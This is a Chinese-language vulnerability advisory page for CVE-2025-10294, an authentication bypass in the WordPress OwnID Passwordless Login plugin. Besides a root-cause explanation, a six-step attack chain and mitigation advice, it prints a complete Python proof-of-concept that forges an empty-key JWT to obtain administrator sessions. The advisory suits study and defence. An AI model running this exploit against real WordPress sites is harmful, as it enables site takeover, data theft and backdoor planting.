IPBUF安全漏洞报告
English
CVE-2025-10294 CVSS 9.8 严重

CVE-2025-10294:WordPress OwnID插件认证绕过漏洞

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-10294
漏洞类型
认证绕过(Authentication Bypass)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OwnID Passwordless Login (WordPress插件)

相关标签

认证绕过WordPressOwnID插件漏洞JWT无密码登录权限提升CVSS 9.8严重漏洞Wordfence

漏洞概述

CVE-2025-10294是WordPress OwnID Passwordless Login插件中存在的一个严重认证绕过漏洞。该插件是一款用于实现无密码登录功能的WordPress插件,旨在通过JWT(JSON Web Token)机制为用户提供便捷的登录体验。然而,该插件在所有1.3.4及以下版本中存在严重的安全缺陷,具体表现为插件在通过JWT验证用户身份时,未能正确检查ownid_shared_secret配置项是否为空值。当插件尚未完成完整配置时,ownid_shared_secret可能保持为空状态,攻击者可以利用这一缺陷构造恶意的JWT请求,绕过身份验证机制,以任意用户(包括管理员)身份登录受影响的WordPress站点。

该漏洞由Wordfence安全团队的研究员发现并报告,CVSS 3.1评分为9.8分,属于最高严重等级。漏洞的利用条件极为宽松:攻击者无需任何认证凭据,无需用户交互,仅需通过网络即可发起攻击。由于WordPress是全球使用最广泛的内容管理系统,而管理员账户一旦被攻陷将导致整个站点完全失控,包括数据泄露、恶意内容注入、恶意软件分发等严重后果,因此该漏洞对全球数百万WordPress站点构成重大威胁。该漏洞已于2025年10月15日公开披露,强烈建议所有使用该插件的站点管理员立即采取行动。

技术细节

该漏洞的根本原因在于OwnID Passwordless Login插件的JWT验证逻辑存在缺陷。插件在处理用户认证请求时,会接收客户端发送的JWT令牌,并使用ownid_shared_secret作为密钥来验证令牌的有效性。然而,代码中的验证流程存在一个关键的安全缺陷:在执行JWT签名验证之前,插件未检查ownid_shared_secret是否已被正确配置(即是否为空字符串或null值)。

当插件处于初始安装或未完全配置状态时,ownid_shared_secret可能默认为空值。在这种情况下,攻击者可以使用空字符串作为密钥自行签发一个有效的JWT令牌。由于插件的验证逻辑未对此异常情况进行拦截,伪造的JWT令牌将被视为合法令牌,攻击者从而可以以任意用户身份通过认证。

具体利用方式如下:
1. 攻击者首先需要了解目标站点的用户ID结构(通常是1为管理员);
2. 使用空字符串作为密钥,利用JWT库(如PyJWT)构造包含目标用户ID的伪造JWT令牌;
3. 将伪造的JWT令牌通过OwnID插件的认证端点提交;
4. 插件验证JWT签名(使用空密钥验证攻击者伪造的签名),验证通过后返回有效的认证Cookie或会话;
5. 攻击者使用获取的会话以管理员身份登录WordPress后台。

整个攻击过程无需任何已认证的凭据,无需与目标用户进行任何交互,且可以通过自动化脚本批量执行,对未打补丁的站点构成极大威胁。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎(如Shodan、Censys)或WordPress指纹识别工具定位安装了OwnID Passwordless Login插件且未完成配置的WordPress站点。
STEP 2
步骤2:漏洞探测
攻击者向目标站点的OwnID插件AJAX端点发送探测请求,确认插件存在且ownid_shared_secret配置项为空(未配置状态)。
STEP 3
步骤3:构造恶意JWT
使用空字符串作为HMAC密钥,利用PyJWT等库伪造包含目标用户ID(通常为1,即管理员)的JWT令牌。
STEP 4
步骤4:发起认证请求
将伪造的JWT令牌通过POST请求提交至OwnID插件的验证端点(如admin-ajax.php的ownid_verify_jwt动作)。
STEP 5
步骤5:绕过认证
插件使用空的ownid_shared_secret验证JWT签名,由于密钥一致且插件未检查密钥是否为空,验证通过,攻击者获得有效的WordPress认证Cookie。
STEP 6
步骤6:完全控制站点
攻击者使用获取的管理员会话访问WordPress后台,可执行任意操作,包括安装恶意插件、修改内容、窃取用户数据、植入后门等。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-10294 - OwnID Passwordless Login Authentication Bypass PoC # Exploits missing empty check on ownid_shared_secret before JWT verification import requests import jwt # PyJWT library import sys import re TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" TARGET_USER_ID = sys.argv[2] if len(sys.argv) > 2 else "1" # Default: admin (ID=1) def exploit_auth_bypass(target_url, user_id): """ Exploit authentication bypass by forging JWT with empty shared secret. The OwnID plugin fails to validate that ownid_shared_secret is non-empty before using it to verify JWT signatures. """ session = requests.Session() # Step 1: Trigger OwnID login flow to obtain the endpoint # The plugin typically exposes an AJAX endpoint for JWT verification ownid_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Step 2: Forge JWT token with empty secret key # Since ownid_shared_secret is empty, we sign with empty string payload = { "sub": user_id, # Subject: target user ID (e.g., 1 for admin) "email": "[email protected]", # Optional email claim "name": "Administrator", "iat": 0, # Issued at (epoch) "exp": 9999999999 # Expiration (far future) } # Sign with EMPTY string as the secret - this is the key to the exploit forged_token = jwt.encode(payload, "", algorithm="HS256") print(f"[*] Forged JWT token: {forged_token}") # Step 3: Submit forged token to OwnID verification endpoint # The action parameter varies by plugin version; common actions include: # 'ownid_verify_jwt', 'ownid_login', or similar data = { "action": "ownid_verify_jwt", "jwt": forged_token, "ownid_token": forged_token } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } response = session.post(ownid_endpoint, data=data, headers=headers) print(f"[*] Response status: {response.status_code}") print(f"[*] Response body: {response.text[:500]}") # Step 4: Check if authentication succeeded (look for wordpress_logged_in cookie) if "wordpress_logged_in" in str(session.cookies) or response.status_code == 200: print("[+] SUCCESS! Authentication bypass achieved!") print(f"[+] Session cookies: {dict(session.cookies)}") # Step 5: Verify access to WordPress admin admin_url = f"{target_url}/wp-admin/" admin_response = session.get(admin_url, headers=headers) if "Dashboard" in admin_response.text or "wp-admin" in admin_response.url: print("[+] CONFIRMED: Logged in as administrator!") return True else: print("[-] Exploit failed. Target may be patched or not vulnerable.") return False if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Target user ID: {TARGET_USER_ID}") exploit_auth_bypass(TARGET_URL, TARGET_USER_ID)

影响范围

OwnID Passwordless Login <= 1.3.4

防御指南

临时缓解措施
在无法立即升级插件的情况下,建议采取以下临时缓解措施:1)暂时禁用OwnID Passwordless Login插件;2)通过修改wp-config.php限制对admin-ajax.php中ownid相关动作的访问;3)在.htaccess中添加规则阻止对OwnID端点的未授权访问;4)启用Wordfence等WAF的自定义规则,拦截包含空密钥特征的JWT验证请求;5)密切监控wp_users表中管理员账户的last_login时间,发现异常立即重置密码并审查站点完整性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表